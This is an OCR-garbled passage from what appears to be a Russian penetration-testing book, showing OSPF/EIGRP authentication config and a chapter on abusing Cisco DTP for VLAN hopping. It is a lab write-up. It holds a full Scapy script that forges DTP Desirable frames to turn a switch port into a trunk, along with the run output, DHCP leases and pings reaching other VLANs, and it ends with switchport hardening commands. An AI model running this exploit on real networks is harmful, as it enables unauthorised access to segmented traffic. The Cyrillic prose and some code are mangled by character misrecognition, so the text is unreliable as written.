naponeid. Eciu Thl coOupaenscsi 3alMTUTh JOMEH MapUIPyTH3ALUH, UCIIONB3Ys ayTeH-
TuduUKaLUo, 00s13aTeNBbHO 103a00ThCs, YTOOB! 3TH Napoyiy ObUTH AOCTATOYHO CTOMKUMH.
OHHU XemupyTCs C MOMOILBIO KpUNTOrpadpuyeckux xem-GyHKIHMA, U 3I0yMbIILIIEHHHK
CMOJKET CUHTATh 3HAYeHHs XelleHd u3 Jammna Tpaduka W BCKPBITH Mapojb nepedopoM.
C nmosyyeHHBIM MapoJieM OH 0€3 Tpyaa MOAKIIOYHTCS K JOMEHY MaplIpyTH3aIHH.
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[Ipumep Hactpoiiku ayteHTudrkauuu st OSPF ¢ ucnons3oBanuem MD5:

R2#conf t # Bxon B pexam TUI00aJIBHOM KOHOUIypaLym

R2 (config) # interface GigabitEthernet 0/1 # Bxonm B pexym KOHOUIypalwm
nHTepdenca

R2 (config-if)# ip ospf authentication message-digest # BxinoueHue
ayTeHTudpukauvm no MD5

R2 (config-if)# ip ospf message-digest-key 1 md5 yOur fd4ult # HazHauenme MNapoJis
c key-id 1

[Ipumep Hactpoiiku ayrenTudukauuu 118 EIGRP ¢ ucnonszoBanuem key-chain u MDS:

R2#conf t # Bxon B pexamM TUI00AJIBHOM KOHOUTypaumm

R2 (config)# key chain SecureRouting # CozsmaHue KJIIOYeBOM LENOUYKM MO Has3BaHueM
SecureRouting

R2 (config~keychain) # key 1 # Co3maHue nepeoro Kjuoda
R2 (config-keychain-key) # key-string yOur f4ult # HasHaueHue napoJis

R2 (config-keychain-key) # accept-lifetime 20:00:00 mar 1 2022 20:00:00 mar 2
2022 # YxazaHMe NPOMEXYTKa BPEMEHM, B TEUeHME KOTOPOT'O MapupyTU3aTop OyImeT
MNPVHMMATE KJIOY OT cocena

R2 (config-keychain-key) # send-lifetime 20:00:00 mar 1 2022 20:00:00 mar 2 2022
# YkazaHve NpOMexXyTKa BpPEMeHM, B TeueHMe KOTOPOT'O MapupyTM3aTop OyImeT [NOChUIATE
KJIIO4 coceny

R2 (config-keychain)# key 2 # Korma 3akOHUMTCS IEeMCTBME MEPBOTO KJIOYA,
aBTOMaTMUECKM OyIeT MCIOJIb30BaH BTOPOM Kmod. COo3IaeM BTOPOM KINOW

R2 (config-keychain-key) # key-string yOur deslre # Ha3HaueHue mnaposs

R2 (config-keychain-key) # accept-lifetime 20:00:00 mar 2 2022 20:00:00 mar 3
2022 # YxazaHue MNpoMexyTKa BpeMeHM, B TeueHue KOTOPOT'O MapupyTu3aTop OyneT
NpUHMMAaTL KJIOY OT cocena

R2 (config-keychain-key) # send-lifetime 20:00:00 mar 2 2022 20:00:00 mar.3 2022
# YkaszaHMe MNpPOMEexyTKa BpEeMeHM, B TEeueHMe KOTOPOT'O MapupyTu3aTop OyOeT MOChUIaTh
KJIoY coceny

R2 (config) # interface GigabitEthernet 0/1 # Bxoo B pexamM KOHOUIypalym
nHTepdenca

R2 (config~if) # ip authentication mode eigrp 1 md5 # BruloyeHre ayTeHTUOMKaLVm
no MD5 myig aBTOHOMHOM cucTeMel EIGRP 1

R2 (config-if)# ip authentication key-chain eigrp 1 SecureRouting # Ha3HaueHue
KJIIOUEBOM LENOUKM, KOoTopas OyIeT MCIMOJIb30BATLCS IJIg ayTeHTUOMKALUMM B aBTOHOMHOM
cucrteme EIGRP.

BbiBoAabl

B 3to0ii rnaBe s pa3obpan cueHapuii aTak Ha NPOTOKOJIbI AHHAMHYECKOH MapIpyTH3aLHH
OSPF u EIGRP. Mcxoas 13 nMYHOro omnbiTa TECTUPOBAHHS Ha MPOHUKHOBEHHE KOMIIbIO-
TEpHBIX CeTel, CKaxy, YTO B OOJNBLIMHCTBE CIy4aeB CETeBble aIMHUHHCTPATOPhl OCTaBIISA-
10T 6e3 BHMMaHHS KOH(HIypaLHI0 3alUMTHBIX MEXaHHW3MOB NpOTOKOJIOB. Yale Bcero
BcTpeyaetca koHdurypauus OSPF/EIGRP 6e3 aytenTudukauuu 1 6e3 HacTpoiku nac-
cuUBHBIX HHTepdericoB. Takoe OTHOIIEHHE K JOMEHaM MaplUpyTH3alWH [OJABEpraer
0e30MacHOCTb JIOKAJIbHON CETH OOJIBIIOMY PHUCKY.

HeHTeCTepLI MOCJIE MPOYTEHHA 3TOH CTAaThH JOJIKHBI B3ATh ceOe Ha 3aME€TKY OIMHCAaHHBIC
aTaKy, a CETEBbIC AAMUHUCTPATOPLI CMOI'YT CA€JIaTb JOMEH MaplIpyTH3alUuH Oe3omacHee.
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Paspynusaem DTP.
Kak Banomatb npotokon DTP
u coBepwnTb Noder B Aapyryro cetb VLAN

Necreas1ng

IIporoxon DTP 611 pa3zpaboran unxeHepaMu Cisco Systems, 4ToObl 00JET4UTh KU3Hb
JIEHUBBIM CETEBBIM HH)KeHepaM. Ho mpH xanaTHOM OTHOIIEHHH K KOH(Urypaluud 3TOro
MPOTOKOJAa aAMHHHCTPATOPHl PACILIAYMBAIOTCS KOMIIpOMETalMeil cBoux certeidl. B 3Toi
CTaThe 5 MPOJAEMOHCTPUPYIO clieHapuit B3noMa npoTtokosna DTP u Bo3MoxHOCTH mobera B
apyryto cetb VLAN.

BHUMAHUE!

CraTbsi UMeeT 03HaKOMWUTESbHbIN XapakTep U npegHasHaveHa Ans cneuuanucToB no 6eso-
NacHOCTW, NPOBOAALMX TECTUPOBAHUE B pamMkax KOHTpakTa. ABTOp M pefakuma He HecyT
OTBETCTBEHHOCTW 3a No6on Bpea, NPUMUHEHHBIN C NPUMEHEHNEM U3NOXEHHOW MHOpPMa-
unn. PacnpocTtpaHeHre BpedoHOCHbIX NporpamM, HapylweHue paboTbl CUCTEM U Hapylue-
HWe TalHbl Nepenncky NpecneayTca No 3aKoHy.

Ao66pesunarypa DTP pacmmndpossiBaercs kak Dynamic Trunking Protocol. 3tot mpoTo-
Ko paspaboraH umxeHepamu Cisco Systems ans peanu3alud aBTOMaTHYeCKOH TpaH-
KUHrOBOH cucteMbl. Kakoit mopt OyneT TpaHKOBBIM, a KaKOi HET — C 3TUM pa3dupaeTcs
uMeHHo npotokos DTP, a He cereBoit urwxenep. DTP ouens wyacto ocraercs 6€3 q0JIxK-
HOTO BHUMAaHHS M B OOJIBIIMHCTBE CIIy4aeB MCIOJIb3YeT KOH(GUTYPALHUIO 0 YMOIYAHHIO.
3TUM MBI ¢ TOOOH U BOCIOJIb3yEeMCH.

Kak aTto paboTaer

DTP no3BonsieT AByM COCEIHHM MOPTaM KOMMYTaTOpa COTJIACOBBIBATH PEIIEHUS O TOM,
OyAyT MM OHU MarucTpanbHbIMU KaHanamu a.k.a Tpankamu. Takoll MeTo] mpUMeHseTcs,
4TOOBI cHhOpPMHUPOBATH MaruCTpaJIbHBIN KaHal, a CEeTeBOMY aJAMHUHHCTPATOpPY HE MPHUXO-
JUJIOCH HACTPAaHBaTh BPYYHYIO KXAYIO CTOpOHY. KOMMyTallMOHHBIH MOPT, KOTOPHIHA Ha-
XOJMUTCS Ha APYrOM KOHLE KaHajia, MOXET MPUHATh KOH(QUIrypaluio cocena u chopmMu-
pOBaTh TPaHK aBTOMAaTH4YeCKH. Jla, 3TO MO3BOJIAET COXPAHUTh BPEMS U CHJIBI, HO HE B Ta-
KOM YK U Cyl1ecTBeHHOM kosnnuectBe (puc. 13.1).
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Puc. 13.1. MNpumep TunuyHon Tononorum DTP

B npotokone DTP mpeaycMOTpeHO HECKOJNBKO PeXHMOB pabOThl MOPTOB KOMMYTaropa
JUTSE HHUUMATH3allMd MariCTPaJbHOrO KaHamna:

O Access Mode — pexxuM MOCTOSIHHOro GecTpaHKoBOro coctostuus. [lopt Bcerna Oynet
OCTaBaThCs B OECTPAaHKOBOM COCTOSHHH, HECMOTPS Ha TO YTO COCEIHHH MOPT He Co-
IJ1aceH ¢ H3MEHEHHEM;

O Trunk Mode — pexxum MOCTOSSHHOTO TpaHKoBoro cocrtosiHus. Ilopt Bcerna Oynmer
0CTaBaTbCsl B TPAHKOBOM COCTOSIHHH, HECMOTPS Ha TO 4YTO COCEAHHH MOPT HE corjia-
CEH C H3MEHEHHEM;

O Dynamic Auto — B 3TOM pexHMe MOPT FOTOB MEPEHTH B TPAHKOBOE COCTOSHHE, €CIH
cocennui nopt Oyzaer B pexume Trunk uan Dynamic Desirable. BaxxHo ynomsHyTb,
4yto Dynamic Auto — 3T0 peXHM M0 YMOJIYaHHIO [UIs BCEX MOPTOB KOMMYTATOPA;

O Dynamic Desirable — B 3TOM pexuMe MOPT BCeraa MbITaeTcs NEPEHTH B TPaHKOBOE
coctosiHue. [lopTt mpuoOpeter pesxkum Trunk, eciu coceqHHI MOPT HACTPOEH B PEXKH-
Max Dynamic Auto, Dynamic Desirable uan Trunk Mode;

O Nonegotiate — B 9TOM pexHMe MopT He yuacTByeT B npoueccax DTP. On ne Oyner
HU OTnpaBiATh kaapsl DTP, Hu npuHUMaTh HX.

UroObl He 3amyTaThCs B 3THX TEPMHUHAX, 5 cAenan tabnuuny komOHHauui pexxumo DTP
IBYX cocenHux noptos (puc. 13.2). [lTocMoTpeB Ha naHHbIE B 3TOH Talnulle, Thl HABEPHS-
Ka 3aMEeTHJI, YTO €CJIH /IBa COCEHHX MOpTa HaxoaTcs B pexuMe Dynamic Auto, To OHH
He CMOryT 00pa30BaTh MarlCTpajibHbIH KaHal H 00a NopTa OCTaHyTCs B pexHuMe Access.
Hpyroit npumep: ecnu nepBbiid mopT Oyaer B pexume Dynamic Auto, a BTOpoii mopT B
pexume Dynamic Desirable, To B koHeUHOM cueTe 0OpasdyeTcss MaruCTpalbHbIH KaHal
HJIH )K€ TPaHK.

Kanpsr DTP pacceuiarorcst uepe3 moptbl koMmMmyTatopa kaxabsle 30 cekyHa. M mias ux
pacChbIJIKH UCMOJb3YETCs CrEeUHaTIbHbIH MYJbTHKACTOBBIH aapec 01:00:0C:CC:cC:cC. Ec-
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71 nopT ObUT CKOHGHUIYPHPOBAaH AMHAMMYECKH, TO Bpems ero »u3Hu — Bcero 300 ce-
KyH[ (puc. 13.3).

Dynamic Auto Dynlamic Trunk Access
Desirable
Dynamic Auto Access Trunk Trunk Access
quamtc Trunk Trunk Trunk Access
Desirable
Trunk Trunk Trunk Trunk L'm'te,d )
Connectivity
Access Access Access ’-'m“‘?" ) Access
Connectivity
Puc. 13.2. Tabnunua kombuHauun pexumos noptos DTP
Puc. 13.3. Nndopmauus o DTP 13 koHconu Cisco 10S
NPUMEYAHNE

MynbTukacToBbIv agpec 01:00:0C:CC:CC:CC UCNONb3yeTCA He TONbko npotokonom DTP,
HO 1 apyrumu, Hanpumep CDP, VTP, PAgP, UDLD. YT0o6bl NpoTOKOMLI MO OTRMYaTbCA
Opyr OT Apyra npv oTrnpaBKke CBOMX 0ObABNEHWA NO OQMHAKOBOMY MYMbTMKacTOBOMY ajpe-
Cy, ONS HWX peanu3oBaHO YHWKanbHoe 3HadveHue B 3aronoske SNAP Ha yposHe LLC
(Logical Link Control). insa DTP 310 3Ha4eHne akBuBaneHTHo 0x2004.

YazBumocTtb

CyTb ysI3BUMOCTH 3aKJIIOYAETCS B TOM, 4TO npoTokos DTP BkIroUeH Mo yMon4aHUIO Ha
BCEX coBpeMeHHbIX KomMMyTaTopax Cisco. IIpu 3TOM Kaxkablii mOpT KOMMyTaTopa Ha-
cTpoeH B pexxiMe Dynamic Auto. To ectb moprt OyaeT 0kuaaTh HHHIHALMHN TPaHKa CO
CTOPOHBI cocena. [ ycrneimHoro npoBe/ieHusi aTaku HaMm HYX)HO (HU3MUECKH MOKIIHO-
YUTBCS K KOMMYTATOpPY M OTIPaBUTh ClIELHaIbHO MOAroToBaeHHbIH kaap DTP Desirable.
[lopT nepexaroUHUTCS B PeKUM MarucTpaibHOro KaHana, i Mbl CMOKEM MOJYYHTh JOCTYIN
Ko BceM ceTssMm VLAN.,
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BupTtyanbHaa naboparopus

B cBoeii BUpTyaibHOH J1aOOpAaTOPHH 51 MCIOJB30BaAN MIaTGopMy BHpTyanu3aiuun EVE-
NG Community Edition. LleneBbiMH ycTpoiicTBaMH OyayT 3MyIHPOBaHHbIH KOMMYTaTOP
u mapupytuszatop Cisco (Cisco IOL), Bupryansubie VPC u3 EVE-NG. A B kauecTBe
MaiuHbI atakytomiero Boictynut OC Kali Linux 2021.4,

R1

P
(/ N A | INTER-VLAN Routing;

L l‘ | DHCP Server
N o

TRUMK | 802. 18

e VLAN 39
Access Mode EO/1

(-1

Fileshare Server

&

Attacker Machine

Workstation

Puc. 13.4. Tononorus BupTyansHon nabopatopum

Device Interface Switch Port P address VLANID
R1 G0/0 E0/0 . -
R1 G0/0.10 E0/0 10.120.10.254 10
R1 G0/0.30 E0/0 10.120.30.254 30
Workstation ETHO E0/2 10.120.10.4 10
Fileshare Server ETHO EO0/1 10.120.30.2 30
Attacker Machine ETHO E1N1 . .

Puc. 13.5. IP-agpecauus BupTyansHon nabopatopuu



0—— 182 —0

Cerb pa3bura Ha aBa cermeHnTta: 3710 VLAN 10 u VLAN 30. 3a mapupyTtusauuio tpadu-
Ka MeXxIy HUMH oTBedaeT mapuupytusarop R1. Taxxke Ha mapmpyrtusarope R1 Hactpoex
DHCP-cepBep 1151 aBTOMaTHYECKOI BbIIaYH apEeCOB YCTPOHCTBAM.

Ha nopre kommytatopa E1/0 SW1 no mapuipytusaropa R1 ckeHdurypupoBan MarucTpans-
Hbli kaHan 802.1Q, koTopslii nepenaer Beck TerupoBaHHbii Tpaduk cereit VLAN 10 u 30.
[Toptel EO/1 1 EO/2 HacTpoeHs! B pexxume Access U mpuHaiexar cBouM cetsM VLAN.

MammnHa arakymolero nojakiroueHa Kk nopty kommyratopa El/1. IMopt HactpoeH mo
yMoON4YaHHo B pexxuMme Dynamic Auto ansi I€MOHCTpalMH 3KCIUTyaTallH YsS3BUMOCTH
(puc. 13.4, 13.5).

KacTomHas akcnnyatauusi ya3aBuMoCTH
++06e3 ucnonb3oBaHus++ Yersinia

B koHTEeKkcTe mpoBeneHHs aTakH s pewnn oboituce 6e3 momynspHoro ¢peiMBopka
Yersinia (https://www.Kali.org/tools/yersinia/). OnHo neno, koraa Thl MPOCTO HaXKMMa-
€lllb Ha HECKOJIbKO KHOIOK, PYKOBOJCTBYSICh CBOUM O3KrpayHIOM 3HaHHH, U MPOH3BO-
JMLIb B3JIOM, 3TO 4TO-TO U3 paspsana «Just push the button and hack it». CoBceM npyroe
1110, Korjga Thl caM coOHpaelllb CBOH HHCTPYMEHT Mo KycoukaM. S cuurato, 310 jgact
Gonee riybokoe NOHMMaHHE NPOLIECCA IKCIUTYaTaLUH YA3BUMOCTH, YTO OYEHb BaXKHO.

Hns sxcnnmyarauuu 3toi yszBumocth DTP s ucnons3oBan cessky Python u Scapy
(https://scapy.net/), HamucaB cBoil coOcTtBeHHbi ckpunt — DTPAbuse.py
(https://github.com/C0ldheim/NetworkExploitation/blob/main/DTPAbuse.py). Huxe
s pa3bepy Bech MPOrpaMMHBIH KOJ CKpUNTa, YTOOBI Tl MOHHMaI paboTy 3TOH nporpam-
MBI U MpOlIecC IKCIUTyaTaluH.

Hrak, HauHeM.

from scapy.all import *

from scapy.contrib.dtp import *
import argparse

B 310M1 yactH, s Aymar, HHKaKHX BONPOCOB BO3HUKHYTbh HE JOJDKHO. MBI moJkioyaeM
6ubnuorexky Scapy, Moayab ans pabotel ¢ nporokonoM DTP u Moayns argparse, 4toOsbl
cAenarh CKpUNT NapaMeTpU30BaHHbIM. TO ecTh CKpHNT OyAeT MpUHUMATh HAa BXOJ BBe-
JEHHBIH 110JIb30BaTEIEM apryMeHT.

cisco multicast = "01:00:0C:CC:CC:CC"

Co3naeM nmepeMeHHYI cisco multicast W MepeAaeM B Hee aJipec MYJIbTHKACTOBOi pac-
coliku Cisco.

def get arguments() :
parser = argparse.ArgumentParser ()

parser.add argument ("-i", dest="interface", type=str, required=True,
help="Choose the interface to attack")

args = parser.parse_args()
return args
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(DyHKU,Hﬂ get arguments IMNAPCHT BBEACHHBLIC I10JIb30BATCJIEM BXOIALUHE apryMEHTbI H
OTHpaBaA€T NAHHBIE B NMEPEMECHHYHO interface. B kauectBe BXOOHBIX OAHHBIX CKPHIIT
Oyzaer npuHUMATh ceTeBOH MHTepdeHc nns aTaky.
def negotiate trunk(interface=conf.iface, mymac=str (RandMAC())) :

dtp frame = Dot3(src=mymac, dst=cisco multicast)

dtp frame /= LLC(dsap=Oxaa, ssap=Oxaa, ctrl=3)/SNAP(OUI=0x0c, code =
0x2004)

dtp frame /=
DTP (tlvlist=[DTPDomain () ,DTPStatus (), DTPType () , DTPNeighbor (neighbor=mymac) ])

sendp (dtp_frame, iface=args.interface, inter=3, loop=1, verbose=1)

@DYHKIHA negotiate trunk MPUHHMAET Ha BxoX ceTeBod HHTepdeiic 1 MAC-aapec.
MAC-aapec myctb OyIeT paHAOMH3HPOBAaHHbBIM.

[Hanee pacrnionoxeH koa noa ¢yHKUMEHN negotiate trunk, KOTOPbIH codupaer kanp DTP
Desirable.

dtp_frame = Dot3(src=mymac, dst=cisco _multicast)

B kangpe Ethemet pot3 s yxassiBato MAC-aapec HCTOYHHKA Ha3HayeHHs. AQpEcoM Ha-
3HayeHHs OyJeT cayKUTh aIpec MyJabTHKacTOBOH pacceliku Cisco.

dtp frame /= LLC (dsap=0Oxaa, ssap=0xaa, ctrl=3)/SNAP(OUI=0x0c, code = 0x2004)

Taxke moHagoOMTCS A00aBUTH CJIIOM LLC M SNAP. 3HaYeHHEM 0x2004 B 3aroJIOBKE SNAP
yKkaxxeM, uto 310 DTP-kanp.

dtp frame /=
DTP (tlvlist=[DTPDomain () ,DTPStatus () ,DTPType (), DTPNeighbor (neighbor=mymac) ])

Cobupaem kaap DTP, Bce napaMeTpbl OCTaBUM IO YMOJYaHHIO, KpOME DTPNeighbor. [le-
peMeHHOH neighbor nepenagum MAC-anpec ucrounuka. [louemy-to B Scapy B aedont-
HOoM kazape DTP no ymon4aHHio XxpaHsTcsi Bce HEOOXOAUMbIEe 3HAUEHHs, YTOObI coOpaTh
umenHo kanap DTP Desirable. S He 3Hat0, ¢ YeM 3TO CBSI3aHO, HO 3TO ChIrPAET HAM Ha py-
Ky: C3kOHOMHM BpeMs. [loatomy MbI octaBunu napametpsl DTP nmo ymonuanuio (3a uc-
KJIFOUEHHEM DTPNeighbor, pHc.13.6).

Tenepb z(aBaﬁ COCPEAOTOUYHNMCA Ha XPAHALIHUXCA TaM CAMbIX BAXXHbIX 3arojloBKax H HE
MCHEC BAXXHbIX 3HAYCHHUAX

O DpTPType = \xa5 — 3HAYEHHE 3ar0JIOBKA, YKa3bIBAIOIIEE HA HCIOJIb30BAHHE MHKAIICY-
nsaunu 802.1Q;

O DpTPstatus = \x03 — 3HAa4YEHHE 3aroJIoBKa, ykasbiBatouiee Ha cratyc DTP-kagpa. 3to
CTaTyC Desirable, TO, YTO HAM HYXHO AJI HHHIIMAIIMH TpPaHKa.

sendp (dtp frame, iface=args.interface, inter=3, loop=1, verbose=1)

I[EUICC HCO6XOZ[HMO OTIIPAaBUTb CO6paHHblﬁ Kaap. HOCKOIII)Ky MbI 3HAEM, YTO AHHAMHYC-
ckuil TpaHk nponepxurcs scero 300 cekyHI, 3aIMKINMM OTIPABKY 3TOr0 Kaapa ¢ UMHTep-
BaJIOM B 3 CEKYH[bI.

args = get arguments ()

negotiate trunk(args.interface)



>>> DTP{).show()
wat[ DTP Jaa#

gomain = '\xea’

>>> DTPStatus().show()
wiu[ DTP Status ]wis

type = 2
length = None
status t

>>> DTPType().show( )

#H#{ DTP Type ]wiw
type = 3
length = Neone
dtptype = 'X\xaS'

>>> DTPNeighbor()
##[ DTP Neighbor ]
type
len
neighbor

Pwuc. 13.6. CtpykTypa aecontHoro kagpa DTP B Scapy

Hy u nocneanue yactu ckpunta. [lepeaaemM BBOJUMBIE NOJIB30BATENEM apryMEHTHI B 1e-
PEMEHHYIO args M BbI3bIBaeM (DYHKLHIO get arguments (). 3aT€M BbI3bIBaeM (DYHKLIHIO
negotiate trunk, 1OJaB Ha BXO/ BBEJEHHBII Nojs30BaTeneM uutepdeiic (puc.13.7).

:~fdtpattacking$
aan( 802.3 lanu
dst 01:00:0¢c:cciccicc
sSre d6:32:a8:a2:76:a8
len None
run LLC Jann
dsap = Bxaa
ssap = @xaa
ctrl =3
aanl Snap Jxag
OUI = Bxc
code = Dx2004
wsul DTP Jaan
ver S
\tlvlist \
|#anl DTP Domain lnan
| type
| length
| domain
|##al DTP Status Jasx
| type
| length
| status
|#88( DTP Type Jausta
| type = 3
| length = None
| = dtptype’ =y1\xa5"

|###[ DTP Neighbor Ju#a

| type ® 4

| 1len = 10

| neighbor = d6:32:a8:a2:76:a8

Puc. 13.7. «Ckenet» cobpanHoro kagpa DTP
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Jkcnnyarauua

3anyckaeM cereBod cHupdep Wireshark u npocnymmnBaeM Tpaduk Ha HalH4YME KaapoB
DTP (puc.13.8).

Capturing fromvethQ

e Edit View Go Copre Analyze Statistics Telephany Wireless Tools Help

D40 1B a¢H>o0o«>MBonal

Time Saurce Destinatian Length Protocol o

Puc. 13.8. flamn Tpachuka n3 Wireshark

BuanMm, 4To KOMMYTaTOp BOCHPOM3BOAMT pacchuiky kaapoB DTP Ha moprt, k koTopoMy
noakntoueHa Mamuna ¢ Kali Linux. Hexons u3 undopmMariu, XpaHsiencs B 3aroloBkax
DTP, Mbl MO3eM cMenNo 3asiBUTb, YTO NMOPT KOMMYTAaTopa HacTpoeH B pexume Dynamic
Auto (puc. 13.9).

Trunk Status
Type: Trunk Status (0x0002)
Length: 5

Value: Access/Auto (0x04)
©... .... = Trunk Operating Status: Access (0x0)
286 = T runk ASmERIStRativElStatysl; Aaut o exa)

Puc. 13.9. UHcbopmauus o ctatyce nopta DTP

Teneps 3anyckaem Haw ckpunt DTPAbuse.py
(https://github.com/C0Oldheim/NetworkExploitation/blob/main/DTPAbuse.py)
(puc. 13.10, 13.11).

Ha ckpuHIIOTE BbILIIE MBI BUAUM, UTO CKPHUIT F€HEPHUPYET HE0OX0AMMBIH Ham kaap DTP
Desirable. Eciu Tenepbs Mbl BoiiieM B maHenb ynpasieHHs koMmmyTtatopa SW1, To yBu-
auM cienytouiee (puc. 13.12).

ITopT xOMMyTaTOpa, K KOTOPOMY NOAKJIIOYEHA MALIMHA aTaKyIOLIEro, NEPeKIIOUNIC B
PEXHM MarucTpajabHOro KaHaua. Ternepb Mbl MOXEM MpPOCHYLINBATh TpaduK BCeX ceTei
VLAN (puc. 13.13).
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i~fdtpattackingd DTPabuse.py etho
[sudo] password for mercy:

Trying to negotiate...

Puc. 13.10. 3anyck ckpunta DTPAbuse.py

Trunk Status
Type: Trunk Status (0x0002)
Length: S
~ Value: Access/Desirable (0x03)
= Trunk Operating Status: Access (0x0)
Trunk| Adninistrative Status: Desirable (0x3)

Puc. 13.12. Mopt E1/1 npeobpa3oBasncs B AMHAMUYECKUIA TPAHK

Capturing from ethQ

File Edit View Go Copture Analyze Statistics Telephony Wireless Tools Help

A04® + MA@ ae >0 «>NHEoral

n

No. Desunation Length Protecol Info

568 275.263328830 €.2.0.¢ 255.255.255.255 410 DHOP DHCP Discover - Transaetion I 8xf7657242

569 278.372394961 50:60:60:05:00:00 eroadcast 64 ARP who has 10.120.30.27 Tell 1€.128.30.254

574 271.36937584¢ 8.8.8.0 255.256.255.255 4310 QHCP DHCP Discover - Transaction 10 8xfY657a42

575 272.878744585 aa:bb.cc:00:10:11 COP/NTR/DTP/PASP/UD. 5ee cop Device ID: Swi.autonomy.com Port ID: Etherneti/l

SPAN LI ao 1P

tree-(for

584 275.379796855 Private 66:68:82 Broadcast 68 ARP Gratuitous ARP for 1£.120.30.2 {Request)
85 276.372313713 Private 66:68:82 Broadrast 58 ARP Gratuitous ARP for 18.126.30.2 {Request)

» Frame 577 (4R@ hats
£ 8§82.3 Etherner

LegicalsLink
Spaiming Tree

80 bytes on wire

oacr

Puc. 13.13. MNMpocnywmnsaHue Tpaguka nocne akcnnyarauum
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MoGer B apyryto cetb VLAN

Tenepp y Hac ecTb BO3MOXXHOCTb «IpPBITHYTH» B Apyryto VLAN-ceTh, Tak Kak MOpT
KOMMYTAaTopa, K KOTOPOMY MbI MOJKIIOYEHBI, HAXOAUTCS B PEXXHUME MAaruCTpaibHOro Ka-
Haja. J[is 3Toro Hy)kHO co34aTh BHpPTYaldbHbIH HHTepdeiic VLAN Ha HalleM ceTeBOM
agantepe, HazHauuth VLAN ID u IP-agpec.

lMPUMEYAHUE
3JTa ataka HocuUT anbTepHaTusHoe HassaHue VLAN Hopping.

Ho otkyna Ham B3ate VLAN ID? IMockosbky MBI B COCTOSIHUH TPOCIYIUHBATh TpadHK
Bcex ceteit VLAN, Mbl MoxeM H3yduth kaapel STP u u3zBneus orryna napopmanuio o6
naentudukatope VLAN. Hanpumep, B Halem ciydae Mbl YBHAHM, YTO KOMMYTaTOp
SW1 — 370 kopHeBoii kommyTaTop mis ceteii VLAN 10 u VLAN 30 (puc. 13.14, 13.15).

Puc. 13.14. Mndopmaums us 3aronoska 802.1Q o VLAN 10

Puc. 13.15. Mndopmauums us 3aronoska 802.1Q o VLAN 30

CozganuM BupTyanbHble HHTepGdericsl VLAN u HazHauuM ter VLAN ID (puc. 13.16).

Puc. 13.16. Co3paHue BupTyanbHbix uHTEpdeircos VLAN
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Teneps nogHuMeM ux U 3anpocum aapec no DHCP (puc. 13.17, 13.18).

t~Jdtpattackingd ethe.19 up
:~/dtpattacking$
(~fdtpattackingd ethd.30 up

Puc. 13.17. AxtuBaums BupTyanbHbix UHTepgeircos VLAN

:=/dtpattacking$ etho.10
Internet Systems Consortium DHCP Client 4.4.1
Copyright 2004-2018 Internet Systems Consortium.
ALl rights reserved.
For info, please visit https://www.1sc.org/software/dhcp/

Listening on LPF/eth0.10/00:50:00:00:04:00
Sending on  LPF/eth©.10/00:50:00:00:04:00
Sending on  Socket/fallback
DHCPREQUEST for 10.128.10.5 on eth0.10 to 255.255.255.255 port &7
DHCPREQUEST for 10.122.10.5 on eth®.10 to 255.255.255.255 port 67
DHCPDISCOVER on eth®.10 to 255.255.255.255 port 67 interval 4
DHCPOFFER of 10.120.10.6 from 10.120.10.254
DHCPREQUEST for 10.126.10.6 on eth®.10 to 255.255.255.255 port 67
DHCPACK of 10.120.10.6 from 10.120.10.254
bound te 10.120.10.6 -- renewal in 40811 secends.
/dtpattacking$ etho.30
Internet Systems Consortium DHCP Client 4.4.1
Copyright 2004-2018 Internet Systems Consortium.
All rights reserved.
For info, please visit https://ww.1sc.org/software/dhcp/

Listening on LPF/eth0.30/00:50:
Sending on  LPF/eth6.30/00:50:
Sending on  Socket/fallback
DHCPREQUEST for 10.120.30.4 on ethd.30 to 255.255.255.255 port 67
DHCPREQUEST for 10.120.30.4 on eth0.30 to 255.255.255.255 port 67
DHCPREQUEST for 10.120.30.4 on eth9.30 to 255.255.255.255 port 67
DHCPDISCOVER on eth@.30 to 255.255.255.255 port 67 interval 5
DHCPOFFER of 10.120.30.5 from 10.120.30.254
DHCPREQUEST for 10.120.30.5 on eth0.30 to 255.255.255.255 port 67
DHCPACK of 10.120.30.5 from 10.120.30.254
bound to 10.120.30.5 -- renewal in 34648 seconds.

i~fd Ftacking$

Puc. 13.18. YcnewHoe nonyyeHve agpecos no DHCP

10.120.10.4 5
PING 10.120.10.4 (10.120.10.4) 56(84) bytes of data.
64 bytes from 10. icmp_seq=1 ttl=64 t1me=8.707 ms
64 bytes from 10.120.10.4: icmp_seq=2 ttl=64 time=0.817 ms
64 bytes from 10. icmp_seq=3 ttl=64 time=0.824 ms
64 bytes from 10. 3 icmp_seq=4 ttl=64 time=1.37 ms
64 bytes from 10. .10.4: icmp_seq=5 ttl=64 time=0.683 ms

--- 10.120.10.4 ping statistics ---

5 packets transmitted, 5 received, 0% packet loss, time 4045ms

rtt min/avg/max/mdev = 0.683/0.879/1.367/0.250 ms
:«fdtpattacking$ 10.120.30.2 5

PING 10.120.30.2 (10.120.30.2) 56(84) bytes of data.

64 bytes from 10.120.30.2: 1cmp_seq=1 ttl=64 time=0.683

64 hytes from 10.120.30.2: icmp_seq=2 ttl=64 time=0.695

64 bytes from 10.120.30. icmp_seq=3 ttl=64% time=0.739

64 bytes from 10.120.30. icmp_seq=4 ttl=64 time=0.728

64 bytes from 10.120.30.2: 1cmp_seq=5 ttl=64 time=0.718

--- 10.120.30.2 ping statistics ---

5 packets transmitted, 5 received, 0% packet loss, time 4067ms
rtt min/avg/max/mdev = 0.683/0.712/0.739/0.020 ms

Puc. 13.19. YcnewHoe npoxoxaexue 3anpocoe ICMP
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Teneprs Mbl MOXeEM B3aHMO/IEHCTBOBATh C XOCTaMH, HaxoasAMMHUCA B ceTax VLAN 10 u
30. [dns narnsaHoctu ormpasito 3ampockl ICMP k mammnam Workstation u Fileshare
Server (puc. 13.19).

3awumTa

YroObl 3allMTHTL KOMMYTATOPBI B CETH OT 3TOii aTaku Ha nporokon DTP, Heobxoaumo
NIepeBECTH B PEXHUM JOCTyMa BCE MOPTHI, Kya MOAKIIOYAOTCS pabouyne CTaHLHUH, U BbI-
kmounTs npotokosn DTP Ha nmoprax. BecbMma nerkas 3amauva, cornacuce? [Ipuseny npu-
Mep HacTpOHKH Ha MOPTEe KOMMYTaTopa, Ky/a Oblia MOoAKII0YEeHa MalllMHa aTaKyOLEro.

Cuayvana NEPEBEAEM MOPT B PEKHUM JOCTYIIa KOMAaHOM switchport mode access, a 3aTEM
otkmourM DTP Ha nopTte KOMaHI0H switchport nonegotiate!

SW1 (config) #interface ethernet 1/1

SW1 (config-if) #switchport mode access

SW1 (config-if) #switchport nonegotiate

